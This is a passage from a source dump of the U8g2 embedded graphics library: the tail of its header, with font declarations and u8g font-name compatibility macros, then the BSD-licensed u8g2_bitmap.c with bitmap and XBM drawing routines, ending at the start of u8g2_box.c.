u8g2_font_inb33_mn[] U8G2_FONT_SECTION("u8g2_font_inb33_mn"); extern const uint8_t u8g2_font_inb38_mf[] U8G2_FONT_SECTION("u8g2_font_inb38_mf"); extern const uint8_t u8g2_font_inb38_mr[] U8G2_FONT_SECTION("u8g2_font_inb38_mr"); extern const uint8_t u8g2_font_inb38_mn[] U8G2_FONT_SECTION("u8g2_font_inb38_mn"); extern const uint8_t u8g2_font_inb42_mf[] U8G2_FONT_SECTION("u8g2_font_inb42_mf"); extern const uint8_t u8g2_font_inb42_mr[] U8G2_FONT_SECTION("u8g2_font_inb42_mr"); extern const uint8_t u8g2_font_inb42_mn[] U8G2_FONT_SECTION("u8g2_font_inb42_mn"); extern const uint8_t u8g2_font_inb46_mf[] U8G2_FONT_SECTION("u8g2_font_inb46_mf"); extern const uint8_t u8g2_font_inb46_mr[] U8G2_FONT_SECTION("u8g2_font_inb46_mr"); extern const uint8_t u8g2_font_inb46_mn[] U8G2_FONT_SECTION("u8g2_font_inb46_mn"); extern const uint8_t u8g2_font_inb49_mf[] U8G2_FONT_SECTION("u8g2_font_inb49_mf"); extern const uint8_t u8g2_font_inb49_mr[] U8G2_FONT_SECTION("u8g2_font_inb49_mr"); extern const uint8_t u8g2_font_inb49_mn[] U8G2_FONT_SECTION("u8g2_font_inb49_mn"); extern const uint8_t u8g2_font_inb53_mf[] U8G2_FONT_SECTION("u8g2_font_inb53_mf"); extern const uint8_t u8g2_font_inb53_mr[] U8G2_FONT_SECTION("u8g2_font_inb53_mr"); extern const uint8_t u8g2_font_inb53_mn[] U8G2_FONT_SECTION("u8g2_font_inb53_mn"); extern const uint8_t u8g2_font_inb57_mn[] U8G2_FONT_SECTION("u8g2_font_inb57_mn"); extern const uint8_t u8g2_font_inb63_mn[] U8G2_FONT_SECTION("u8g2_font_inb63_mn"); extern const uint8_t u8g2_font_logisoso16_tf[] U8G2_FONT_SECTION("u8g2_font_logisoso16_tf"); extern const uint8_t u8g2_font_logisoso16_tr[] U8G2_FONT_SECTION("u8g2_font_logisoso16_tr"); extern const uint8_t u8g2_font_logisoso16_tn[] U8G2_FONT_SECTION("u8g2_font_logisoso16_tn"); extern const uint8_t u8g2_font_logisoso18_tf[] U8G2_FONT_SECTION("u8g2_font_logisoso18_tf"); extern const uint8_t u8g2_font_logisoso18_tr[] U8G2_FONT_SECTION("u8g2_font_logisoso18_tr"); extern const uint8_t u8g2_font_logisoso18_tn[] U8G2_FONT_SECTION("u8g2_font_logisoso18_tn"); extern const uint8_t u8g2_font_logisoso20_tf[] U8G2_FONT_SECTION("u8g2_font_logisoso20_tf"); extern const uint8_t u8g2_font_logisoso20_tr[] U8G2_FONT_SECTION("u8g2_font_logisoso20_tr"); extern const uint8_t u8g2_font_logisoso20_tn[] U8G2_FONT_SECTION("u8g2_font_logisoso20_tn"); extern const uint8_t u8g2_font_logisoso22_tf[] U8G2_FONT_SECTION("u8g2_font_logisoso22_tf"); extern const uint8_t u8g2_font_logisoso22_tr[] U8G2_FONT_SECTION("u8g2_font_logisoso22_tr"); extern const uint8_t u8g2_font_logisoso22_tn[] U8G2_FONT_SECTION("u8g2_font_logisoso22_tn"); extern const uint8_t u8g2_font_logisoso24_tf[] U8G2_FONT_SECTION("u8g2_font_logisoso24_tf"); extern const uint8_t u8g2_font_logisoso24_tr[] U8G2_FONT_SECTION("u8g2_font_logisoso24_tr"); extern const uint8_t u8g2_font_logisoso24_tn[] U8G2_FONT_SECTION("u8g2_font_logisoso24_tn"); extern const uint8_t u8g2_font_logisoso26_tf[] U8G2_FONT_SECTION("u8g2_font_logisoso26_tf"); extern const uint8_t u8g2_font_logisoso26_tr[] U8G2_FONT_SECTION("u8g2_font_logisoso26_tr"); extern const uint8_t u8g2_font_logisoso26_tn[] U8G2_FONT_SECTION("u8g2_font_logisoso26_tn"); extern const uint8_t u8g2_font_logisoso28_tf[] U8G2_FONT_SECTION("u8g2_font_logisoso28_tf"); extern const uint8_t u8g2_font_logisoso28_tr[] U8G2_FONT_SECTION("u8g2_font_logisoso28_tr"); extern const uint8_t u8g2_font_logisoso28_tn[] U8G2_FONT_SECTION("u8g2_font_logisoso28_tn"); extern const uint8_t u8g2_font_logisoso30_tf[] U8G2_FONT_SECTION("u8g2_font_logisoso30_tf"); extern const uint8_t u8g2_font_logisoso30_tr[] U8G2_FONT_SECTION("u8g2_font_logisoso30_tr"); extern const uint8_t u8g2_font_logisoso30_tn[] U8G2_FONT_SECTION("u8g2_font_logisoso30_tn"); extern const uint8_t u8g2_font_logisoso32_tf[] U8G2_FONT_SECTION("u8g2_font_logisoso32_tf"); extern const uint8_t u8g2_font_logisoso32_tr[] U8G2_FONT_SECTION("u8g2_font_logisoso32_tr"); extern const uint8_t u8g2_font_logisoso32_tn[] U8G2_FONT_SECTION("u8g2_font_logisoso32_tn"); extern const uint8_t u8g2_font_logisoso34_tf[] U8G2_FONT_SECTION("u8g2_font_logisoso34_tf"); extern const uint8_t u8g2_font_logisoso34_tr[] U8G2_FONT_SECTION("u8g2_font_logisoso34_tr"); extern const uint8_t u8g2_font_logisoso34_tn[] U8G2_FONT_SECTION("u8g2_font_logisoso34_tn"); extern const uint8_t u8g2_font_logisoso38_tf[] U8G2_FONT_SECTION("u8g2_font_logisoso38_tf"); extern const uint8_t u8g2_font_logisoso38_tr[] U8G2_FONT_SECTION("u8g2_font_logisoso38_tr"); extern const uint8_t u8g2_font_logisoso38_tn[] U8G2_FONT_SECTION("u8g2_font_logisoso38_tn"); extern const uint8_t u8g2_font_logisoso42_tf[] U8G2_FONT_SECTION("u8g2_font_logisoso42_tf"); extern const uint8_t u8g2_font_logisoso42_tr[] U8G2_FONT_SECTION("u8g2_font_logisoso42_tr"); extern const uint8_t u8g2_font_logisoso42_tn[] U8G2_FONT_SECTION("u8g2_font_logisoso42_tn"); extern const uint8_t u8g2_font_logisoso46_tf[] U8G2_FONT_SECTION("u8g2_font_logisoso46_tf"); extern const uint8_t u8g2_font_logisoso46_tr[] U8G2_FONT_SECTION("u8g2_font_logisoso46_tr"); extern const uint8_t u8g2_font_logisoso46_tn[] U8G2_FONT_SECTION("u8g2_font_logisoso46_tn"); extern const uint8_t u8g2_font_logisoso50_tf[] U8G2_FONT_SECTION("u8g2_font_logisoso50_tf"); extern const uint8_t u8g2_font_logisoso50_tr[] U8G2_FONT_SECTION("u8g2_font_logisoso50_tr"); extern const uint8_t u8g2_font_logisoso50_tn[] U8G2_FONT_SECTION("u8g2_font_logisoso50_tn"); extern const uint8_t u8g2_font_logisoso54_tf[] U8G2_FONT_SECTION("u8g2_font_logisoso54_tf"); extern const uint8_t u8g2_font_logisoso54_tr[] U8G2_FONT_SECTION("u8g2_font_logisoso54_tr"); extern const uint8_t u8g2_font_logisoso54_tn[] U8G2_FONT_SECTION("u8g2_font_logisoso54_tn"); extern const uint8_t u8g2_font_logisoso58_tf[] U8G2_FONT_SECTION("u8g2_font_logisoso58_tf"); extern const uint8_t u8g2_font_logisoso58_tr[] U8G2_FONT_SECTION("u8g2_font_logisoso58_tr"); extern const uint8_t u8g2_font_logisoso58_tn[] U8G2_FONT_SECTION("u8g2_font_logisoso58_tn"); extern const uint8_t u8g2_font_logisoso62_tn[] U8G2_FONT_SECTION("u8g2_font_logisoso62_tn"); extern const uint8_t u8g2_font_logisoso78_tn[] U8G2_FONT_SECTION("u8g2_font_logisoso78_tn"); extern const uint8_t u8g2_font_logisoso92_tn[] U8G2_FONT_SECTION("u8g2_font_logisoso92_tn"); extern const uint8_t u8g2_font_pressstart2p_8f[] U8G2_FONT_SECTION("u8g2_font_pressstart2p_8f"); extern const uint8_t u8g2_font_pressstart2p_8r[] U8G2_FONT_SECTION("u8g2_font_pressstart2p_8r"); extern const uint8_t u8g2_font_pressstart2p_8n[] U8G2_FONT_SECTION("u8g2_font_pressstart2p_8n"); extern const uint8_t u8g2_font_pressstart2p_8u[] U8G2_FONT_SECTION("u8g2_font_pressstart2p_8u"); extern const uint8_t u8g2_font_pcsenior_8f[] U8G2_FONT_SECTION("u8g2_font_pcsenior_8f"); extern const uint8_t u8g2_font_pcsenior_8r[] U8G2_FONT_SECTION("u8g2_font_pcsenior_8r"); extern const uint8_t u8g2_font_pcsenior_8n[] U8G2_FONT_SECTION("u8g2_font_pcsenior_8n"); extern const uint8_t u8g2_font_pcsenior_8u[] U8G2_FONT_SECTION("u8g2_font_pcsenior_8u"); extern const uint8_t u8g2_font_pxplusibmcgathin_8f[] U8G2_FONT_SECTION("u8g2_font_pxplusibmcgathin_8f"); extern const uint8_t u8g2_font_pxplusibmcgathin_8r[] U8G2_FONT_SECTION("u8g2_font_pxplusibmcgathin_8r"); extern const uint8_t u8g2_font_pxplusibmcgathin_8n[] U8G2_FONT_SECTION("u8g2_font_pxplusibmcgathin_8n"); extern const uint8_t u8g2_font_pxplusibmcgathin_8u[] U8G2_FONT_SECTION("u8g2_font_pxplusibmcgathin_8u"); extern const uint8_t u8g2_font_pxplusibmcga_8f[] U8G2_FONT_SECTION("u8g2_font_pxplusibmcga_8f"); extern const uint8_t u8g2_font_pxplusibmcga_8r[] U8G2_FONT_SECTION("u8g2_font_pxplusibmcga_8r"); extern const uint8_t u8g2_font_pxplusibmcga_8n[] U8G2_FONT_SECTION("u8g2_font_pxplusibmcga_8n"); extern const uint8_t u8g2_font_pxplusibmcga_8u[] U8G2_FONT_SECTION("u8g2_font_pxplusibmcga_8u"); extern const uint8_t u8g2_font_pxplustandynewtv_8f[] U8G2_FONT_SECTION("u8g2_font_pxplustandynewtv_8f"); extern const uint8_t u8g2_font_pxplustandynewtv_8r[] U8G2_FONT_SECTION("u8g2_font_pxplustandynewtv_8r"); extern const uint8_t u8g2_font_pxplustandynewtv_8n[] U8G2_FONT_SECTION("u8g2_font_pxplustandynewtv_8n"); extern const uint8_t u8g2_font_pxplustandynewtv_8u[] U8G2_FONT_SECTION("u8g2_font_pxplustandynewtv_8u"); extern const uint8_t u8g2_font_pxplustandynewtv_t_all[] U8G2_FONT_SECTION("u8g2_font_pxplustandynewtv_t_all"); extern const uint8_t u8g2_font_pxplustandynewtv_8_all[] U8G2_FONT_SECTION("u8g2_font_pxplustandynewtv_8_all"); extern const uint8_t u8g2_font_pxplusibmvga9_tf[] U8G2_FONT_SECTION("u8g2_font_pxplusibmvga9_tf"); extern const uint8_t u8g2_font_pxplusibmvga9_tr[] U8G2_FONT_SECTION("u8g2_font_pxplusibmvga9_tr"); extern const uint8_t u8g2_font_pxplusibmvga9_tn[] U8G2_FONT_SECTION("u8g2_font_pxplusibmvga9_tn"); extern const uint8_t u8g2_font_pxplusibmvga9_mf[] U8G2_FONT_SECTION("u8g2_font_pxplusibmvga9_mf"); extern const uint8_t u8g2_font_pxplusibmvga9_mr[] U8G2_FONT_SECTION("u8g2_font_pxplusibmvga9_mr"); extern const uint8_t u8g2_font_pxplusibmvga9_mn[] U8G2_FONT_SECTION("u8g2_font_pxplusibmvga9_mn"); extern const uint8_t u8g2_font_pxplusibmvga9_t_all[] U8G2_FONT_SECTION("u8g2_font_pxplusibmvga9_t_all"); extern const uint8_t u8g2_font_pxplusibmvga9_m_all[] U8G2_FONT_SECTION("u8g2_font_pxplusibmvga9_m_all"); extern const uint8_t u8g2_font_pxplusibmvga8_tf[] U8G2_FONT_SECTION("u8g2_font_pxplusibmvga8_tf"); extern const uint8_t u8g2_font_pxplusibmvga8_tr[] U8G2_FONT_SECTION("u8g2_font_pxplusibmvga8_tr"); extern const uint8_t u8g2_font_pxplusibmvga8_tn[] U8G2_FONT_SECTION("u8g2_font_pxplusibmvga8_tn"); extern const uint8_t u8g2_font_pxplusibmvga8_mf[] U8G2_FONT_SECTION("u8g2_font_pxplusibmvga8_mf"); extern const uint8_t u8g2_font_pxplusibmvga8_mr[] U8G2_FONT_SECTION("u8g2_font_pxplusibmvga8_mr"); extern const uint8_t u8g2_font_pxplusibmvga8_mn[] U8G2_FONT_SECTION("u8g2_font_pxplusibmvga8_mn"); extern const uint8_t u8g2_font_pxplusibmvga8_t_all[] U8G2_FONT_SECTION("u8g2_font_pxplusibmvga8_t_all"); extern const uint8_t u8g2_font_pxplusibmvga8_m_all[] U8G2_FONT_SECTION("u8g2_font_pxplusibmvga8_m_all"); extern const uint8_t u8g2_font_px437wyse700a_tf[] U8G2_FONT_SECTION("u8g2_font_px437wyse700a_tf"); extern const uint8_t u8g2_font_px437wyse700a_tr[] U8G2_FONT_SECTION("u8g2_font_px437wyse700a_tr"); extern const uint8_t u8g2_font_px437wyse700a_tn[] U8G2_FONT_SECTION("u8g2_font_px437wyse700a_tn"); extern const uint8_t u8g2_font_px437wyse700a_mf[] U8G2_FONT_SECTION("u8g2_font_px437wyse700a_mf"); extern const uint8_t u8g2_font_px437wyse700a_mr[] U8G2_FONT_SECTION("u8g2_font_px437wyse700a_mr"); extern const uint8_t u8g2_font_px437wyse700a_mn[] U8G2_FONT_SECTION("u8g2_font_px437wyse700a_mn"); extern const uint8_t u8g2_font_px437wyse700b_tf[] U8G2_FONT_SECTION("u8g2_font_px437wyse700b_tf"); extern const uint8_t u8g2_font_px437wyse700b_tr[] U8G2_FONT_SECTION("u8g2_font_px437wyse700b_tr"); extern const uint8_t u8g2_font_px437wyse700b_tn[] U8G2_FONT_SECTION("u8g2_font_px437wyse700b_tn"); extern const uint8_t u8g2_font_px437wyse700b_mf[] U8G2_FONT_SECTION("u8g2_font_px437wyse700b_mf"); extern const uint8_t u8g2_font_px437wyse700b_mr[] U8G2_FONT_SECTION("u8g2_font_px437wyse700b_mr"); extern const uint8_t u8g2_font_px437wyse700b_mn[] U8G2_FONT_SECTION("u8g2_font_px437wyse700b_mn"); /* end font list */ /*==========================================*/ /* u8g font mapping, might be incomplete.... */ #define u8g_font_10x20 u8g2_font_10x20_tf #define u8g_font_10x20r u8g2_font_10x20_tr #define u8g_font_4x6 u8g2_font_4x6_tf #define u8g_font_4x6r u8g2_font_4x6_tr #define u8g_font_5x7 u8g2_font_5x7_tf #define u8g_font_5x7r u8g2_font_5x7_tr #define u8g_font_5x8 u8g2_font_5x8_tf #define u8g_font_5x8r u8g2_font_5x8_tr #define u8g_font_6x10 u8g2_font_6x10_tf #define u8g_font_6x10r u8g2_font_6x10_tr #define u8g_font_6x12 u8g2_font_6x12_tf #define u8g_font_6x12r u8g2_font_6x12_tr #define u8g_font_6x13B u8g2_font_6x13B_tf #define u8g_font_6x13Br u8g2_font_6x13B_tr #define u8g_font_6x13 u8g2_font_6x13_tf #define u8g_font_6x13r u8g2_font_6x13_tr #define u8g_font_6x13O u8g2_font_6x13O_tf #define u8g_font_6x13Or u8g2_font_6x13O_tr #define u8g_font_7x13B u8g2_font_7x13B_tf #define u8g_font_7x13Br u8g2_font_7x13B_tr #define u8g_font_7x13 u8g2_font_7x13_tf #define u8g_font_7x13r u8g2_font_7x13_tr #define u8g_font_7x13O u8g2_font_7x13O_tf #define u8g_font_7x13Or u8g2_font_7x13O_tr #define u8g_font_7x14B u8g2_font_7x14B_tf #define u8g_font_7x14Br u8g2_font_7x14B_tr #define u8g_font_7x14 u8g2_font_7x14_tf #define u8g_font_7x14r u8g2_font_7x14_tr #define u8g_font_8x13B u8g2_font_8x13B_tf #define u8g_font_8x13Br u8g2_font_8x13B_tr #define u8g_font_8x13 u8g2_font_8x13_tf #define u8g_font_8x13r u8g2_font_8x13_tr #define u8g_font_8x13O u8g2_font_8x13O_tf #define u8g_font_8x13Or u8g2_font_8x13O_tr #define u8g_font_9x15B u8g2_font_9x15B_tf #define u8g_font_9x15Br u8g2_font_9x15B_tr #define u8g_font_9x15 u8g2_font_9x15_tf #define u8g_font_9x15r u8g2_font_9x15_tr #define u8g_font_9x18B u8g2_font_9x18B_tf #define u8g_font_9x18 u8g2_font_9x18_tf #define u8g_font_9x18Br u8g2_font_9x18B_tr #define u8g_font_9x18r u8g2_font_9x18_tr #define u8g_font_cu12 u8g2_font_cu12_tf #define u8g_font_micro u8g2_font_micro_tf #define u8g_font_unifont u8g2_font_unifont_t_latin #define u8g_font_unifontr u8g2_font_unifont_t_latin #define u8g_font_courB08 u8g2_font_courB08_tf #define u8g_font_courB08r u8g2_font_courB08_tr #define u8g_font_courB10 u8g2_font_courB10_tf #define u8g_font_courB10r u8g2_font_courB10_tr #define u8g_font_courB12 u8g2_font_courB12_tf #define u8g_font_courB12r u8g2_font_courB12_tr #define u8g_font_courB14 u8g2_font_courB14_tf #define u8g_font_courB14r u8g2_font_courB14_tr #define u8g_font_courB18 u8g2_font_courB18_tf #define u8g_font_courB18r u8g2_font_courB18_tr #define u8g_font_courB24 u8g2_font_courB24_tf #define u8g_font_courB24r u8g2_font_courB24_tr #define u8g_font_courB24n u8g2_font_courB24_tn #define u8g_font_courR08 u8g2_font_courR08_tf #define u8g_font_courR08r u8g2_font_courR08_tr #define u8g_font_courR10 u8g2_font_courR10_tf #define u8g_font_courR10r u8g2_font_courR10_tr #define u8g_font_courR12 u8g2_font_courR12_tf #define u8g_font_courR12r u8g2_font_courR12_tr #define u8g_font_courR14 u8g2_font_courR14_tf #define u8g_font_courR14r u8g2_font_courR14_tr #define u8g_font_courR18 u8g2_font_courR18_tf #define u8g_font_courR18r u8g2_font_courR18_tr #define u8g_font_courR24 u8g2_font_courR24_tf #define u8g_font_courR24r u8g2_font_courR24_tr #define u8g_font_courR24n u8g2_font_courR24_tn #define u8g_font_helvB08 u8g2_font_helvB08_tf #define u8g_font_helvB08r u8g2_font_helvB08_tr #define u8g_font_helvB08n u8g2_font_helvB08_tn #define u8g_font_helvB10 u8g2_font_helvB10_tf #define u8g_font_helvB10r u8g2_font_helvB10_tr #define u8g_font_helvB10n u8g2_font_helvB10_tn #define u8g_font_helvB12 u8g2_font_helvB12_tf #define u8g_font_helvB12r u8g2_font_helvB12_tr #define u8g_font_helvB12n u8g2_font_helvB12_tn #define u8g_font_helvB14 u8g2_font_helvB14_tf #define u8g_font_helvB14r u8g2_font_helvB14_tr #define u8g_font_helvB14n u8g2_font_helvB14_tn #define u8g_font_helvB18 u8g2_font_helvB18_tf #define u8g_font_helvB18r u8g2_font_helvB18_tr #define u8g_font_helvB18n u8g2_font_helvB18_tn #define u8g_font_helvB24 u8g2_font_helvB24_tf #define u8g_font_helvB24r u8g2_font_helvB24_tr #define u8g_font_helvB24n u8g2_font_helvB24_tn #define u8g_font_helvR08 u8g2_font_helvR08_tf #define u8g_font_helvR08r u8g2_font_helvR08_tr #define u8g_font_helvR08n u8g2_font_helvR08_tn #define u8g_font_helvR10 u8g2_font_helvR10_tf #define u8g_font_helvR10r u8g2_font_helvR10_tr #define u8g_font_helvR10n u8g2_font_helvR10_tn #define u8g_font_helvR12 u8g2_font_helvR12_tf #define u8g_font_helvR12r u8g2_font_helvR12_tr #define u8g_font_helvR12n u8g2_font_helvR12_tn #define u8g_font_helvR14 u8g2_font_helvR14_tf #define u8g_font_helvR14r u8g2_font_helvR14_tr #define u8g_font_helvR14n u8g2_font_helvR14_tn #define u8g_font_helvR18 u8g2_font_helvR18_tf #define u8g_font_helvR18r u8g2_font_helvR18_tr #define u8g_font_helvR18n u8g2_font_helvR18_tn #define u8g_font_helvR24 u8g2_font_helvR24_tf #define u8g_font_helvR24r u8g2_font_helvR24_tr #define u8g_font_helvR24n u8g2_font_helvR24_tn #define u8g_font_ncenB08 u8g2_font_ncenB08_tf #define u8g_font_ncenB08r u8g2_font_ncenB08_tr #define u8g_font_ncenB10 u8g2_font_ncenB10_tf #define u8g_font_ncenB10r u8g2_font_ncenB10_tr #define u8g_font_ncenB12 u8g2_font_ncenB12_tf #define u8g_font_ncenB12r u8g2_font_ncenB12_tr #define u8g_font_ncenB14 u8g2_font_ncenB14_tf #define u8g_font_ncenB14r u8g2_font_ncenB14_tr #define u8g_font_ncenB18 u8g2_font_ncenB18_tf #define u8g_font_ncenB18r u8g2_font_ncenB18_tr #define u8g_font_ncenB24 u8g2_font_ncenB24_tf #define u8g_font_ncenB24r u8g2_font_ncenB24_tr #define u8g_font_ncenB24n u8g2_font_ncenB24_tn #define u8g_font_ncenR08 u8g2_font_ncenR08_tf #define u8g_font_ncenR08r u8g2_font_ncenR08_tr #define u8g_font_ncenR10 u8g2_font_ncenR10_tf #define u8g_font_ncenR10r u8g2_font_ncenR10_tr #define u8g_font_ncenR12 u8g2_font_ncenR12_tf #define u8g_font_ncenR12r u8g2_font_ncenR12_tr #define u8g_font_ncenR14 u8g2_font_ncenR14_tf #define u8g_font_ncenR14r u8g2_font_ncenR14_tr #define u8g_font_ncenR18 u8g2_font_ncenR18_tf #define u8g_font_ncenR18r u8g2_font_ncenR18_tr #define u8g_font_ncenR24 u8g2_font_ncenR24_tf #define u8g_font_ncenR24r u8g2_font_ncenR24_tr #define u8g_font_ncenR24n u8g2_font_ncenR24_tn #define u8g_font_timB08 u8g2_font_timB08_tf #define u8g_font_timB08r u8g2_font_timB08_tr #define u8g_font_timB10 u8g2_font_timB10_tf #define u8g_font_timB10r u8g2_font_timB10_tr #define u8g_font_timB12 u8g2_font_timB12_tf #define u8g_font_timB12r u8g2_font_timB12_tr #define u8g_font_timB14 u8g2_font_timB14_tf #define u8g_font_timB14r u8g2_font_timB14_tr #define u8g_font_timB18 u8g2_font_timB18_tf #define u8g_font_timB18r u8g2_font_timB18_tr #define u8g_font_timB24 u8g2_font_timB24_tf #define u8g_font_timB24r u8g2_font_timB24_tr #define u8g_font_timB24n u8g2_font_timB24_tn #define u8g_font_timR08 u8g2_font_timR08_tf #define u8g_font_timR08r u8g2_font_timR08_tr #define u8g_font_timR10 u8g2_font_timR10_tf #define u8g_font_timR10r u8g2_font_timR10_tr #define u8g_font_timR12 u8g2_font_timR12_tf #define u8g_font_timR12r u8g2_font_timR12_tr #define u8g_font_timR14 u8g2_font_timR14_tf #define u8g_font_timR14r u8g2_font_timR14_tr #define u8g_font_timR18 u8g2_font_timR18_tf #define u8g_font_timR18r u8g2_font_timR18_tr #define u8g_font_timR24 u8g2_font_timR24_tf #define u8g_font_timR24r u8g2_font_timR24_tr #define u8g_font_timR24n u8g2_font_timR24_tn #define u8g_font_p01type u8g2_font_p01type_tf #define u8g_font_p01typer u8g2_font_p01type_tr #define u8g_font_lucasfont_alternate u8g2_font_lucasfont_alternate_tf #define u8g_font_lucasfont_alternater u8g2_font_lucasfont_alternate_tr #define u8g_font_chikita u8g2_font_chikita_tf #define u8g_font_chikitar u8g2_font_chikita_tr #define u8g_font_pixelle_micro u8g2_font_pixelle_micro_tf #define u8g_font_pixelle_micror u8g2_font_pixelle_micro_tr #define u8g_font_trixel_square u8g2_font_trixel_square_tf #define u8g_font_trixel_squarer u8g2_font_trixel_square_tr #define u8g_font_robot_de_niro u8g2_font_robot_de_niro_tf #define u8g_font_robot_de_niror u8g2_font_robot_de_niro_tr #define u8g_font_baby u8g2_font_baby_tf #define u8g_font_babyr u8g2_font_baby_tr #define u8g_font_blipfest_07 u8g2_font_blipfest_07_tr #define u8g_font_blipfest_07r u8g2_font_blipfest_07_tr #define u8g_font_blipfest_07n u8g2_font_blipfest_07_tn #define u8g_font_profont10 u8g2_font_profont10_tf #define u8g_font_profont10r u8g2_font_profont10_tr #define u8g_font_profont11 u8g2_font_profont11_tf #define u8g_font_profont11r u8g2_font_profont11_tr #define u8g_font_profont12 u8g2_font_profont12_tf #define u8g_font_profont12r u8g2_font_profont12_tr #define u8g_font_profont15 u8g2_font_profont15_tf #define u8g_font_profont15r u8g2_font_profont15_tr #define u8g_font_profont17 u8g2_font_profont17_tf #define u8g_font_profont17r u8g2_font_profont17_tr #define u8g_font_profont22 u8g2_font_profont22_tf #define u8g_font_profont22r u8g2_font_profont22_tr #define u8g_font_profont29 u8g2_font_profont29_tf #define u8g_font_profont29r u8g2_font_profont29_tr /*==========================================*/ /* C++ compatible */ #ifdef __cplusplus } #endif #endif ================================================ FILE: Bibliotecas/U8g2/src/clib/u8g2_bitmap.c ================================================ /* u8g2_bitmap.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8g2.h" void u8g2_SetBitmapMode(u8g2_t *u8g2, uint8_t is_transparent) { u8g2->bitmap_transparency = is_transparent; } /* x,y Position on the display len Length of bitmap line in pixel. Note: This differs from u8glib which had a bytecount here. b Pointer to the bitmap line. Only draw pixels which are set. */ void u8g2_DrawHorizontalBitmap(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, const uint8_t *b) { uint8_t mask; uint8_t color = u8g2->draw_color; uint8_t ncolor = (color == 0 ? 1 : 0); #ifdef U8G2_WITH_INTERSECTION if ( u8g2_IsIntersection(u8g2, x, y, x+len, y+1) == 0 ) return; #endif /* U8G2_WITH_INTERSECTION */ mask = 128; while(len > 0) { if ( *b & mask ) { u8g2->draw_color = color; u8g2_DrawHVLine(u8g2, x, y, 1, 0); } else if ( u8g2->bitmap_transparency == 0 ) { u8g2->draw_color = ncolor; u8g2_DrawHVLine(u8g2, x, y, 1, 0); } x++; mask >>= 1; if ( mask == 0 ) { mask = 128; b++; } len--; } u8g2->draw_color = color; } /* u8glib compatible bitmap draw function */ void u8g2_DrawBitmap(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t cnt, u8g2_uint_t h, const uint8_t *bitmap) { u8g2_uint_t w; w = cnt; w *= 8; #ifdef U8G2_WITH_INTERSECTION if ( u8g2_IsIntersection(u8g2, x, y, x+w, y+h) == 0 ) return; #endif /* U8G2_WITH_INTERSECTION */ while( h > 0 ) { u8g2_DrawHorizontalBitmap(u8g2, x, y, w, bitmap); bitmap += cnt; y++; h--; } } void u8g2_DrawHXBM(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, const uint8_t *b) { uint8_t mask; uint8_t color = u8g2->draw_color; uint8_t ncolor = (color == 0 ? 1 : 0); #ifdef U8G2_WITH_INTERSECTION if ( u8g2_IsIntersection(u8g2, x, y, x+len, y+1) == 0 ) return; #endif /* U8G2_WITH_INTERSECTION */ mask = 1; while(len > 0) { if ( *b & mask ) { u8g2->draw_color = color; u8g2_DrawHVLine(u8g2, x, y, 1, 0); } else if ( u8g2->bitmap_transparency == 0 ) { u8g2->draw_color = ncolor; u8g2_DrawHVLine(u8g2, x, y, 1, 0); } x++; mask <<= 1; if ( mask == 0 ) { mask = 1; b++; } len--; } u8g2->draw_color = color; } void u8g2_DrawXBM(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h, const uint8_t *bitmap) { u8g2_uint_t blen; blen = w; blen += 7; blen >>= 3; #ifdef U8G2_WITH_INTERSECTION if ( u8g2_IsIntersection(u8g2, x, y, x+w, y+h) == 0 ) return; #endif /* U8G2_WITH_INTERSECTION */ while( h > 0 ) { u8g2_DrawHXBM(u8g2, x, y, w, bitmap); bitmap += blen; y++; h--; } } void u8g2_DrawHXBMP(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, const uint8_t *b) { uint8_t mask; uint8_t color = u8g2->draw_color; uint8_t ncolor = (color == 0 ? 1 : 0); #ifdef U8G2_WITH_INTERSECTION if ( u8g2_IsIntersection(u8g2, x, y, x+len, y+1) == 0 ) return; #endif /* U8G2_WITH_INTERSECTION */ mask = 1; while(len > 0) { if( u8x8_pgm_read(b) & mask ) { u8g2->draw_color = color; u8g2_DrawHVLine(u8g2, x, y, 1, 0); } else if( u8g2->bitmap_transparency == 0 ) { u8g2->draw_color = ncolor; u8g2_DrawHVLine(u8g2, x, y, 1, 0); } x++; mask <<= 1; if ( mask == 0 ) { mask = 1; b++; } len--; } u8g2->draw_color = color; } void u8g2_DrawXBMP(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h, const uint8_t *bitmap) { u8g2_uint_t blen; blen = w; blen += 7; blen >>= 3; #ifdef U8G2_WITH_INTERSECTION if ( u8g2_IsIntersection(u8g2, x, y, x+w, y+h) == 0 ) return; #endif /* U8G2_WITH_INTERSECTION */ while( h > 0 ) { u8g2_DrawHXBMP(u8g2, x, y, w, bitmap); bitmap += blen; y++; h--; } } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8g2_box.c ================================================ /* u8g2_box.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without 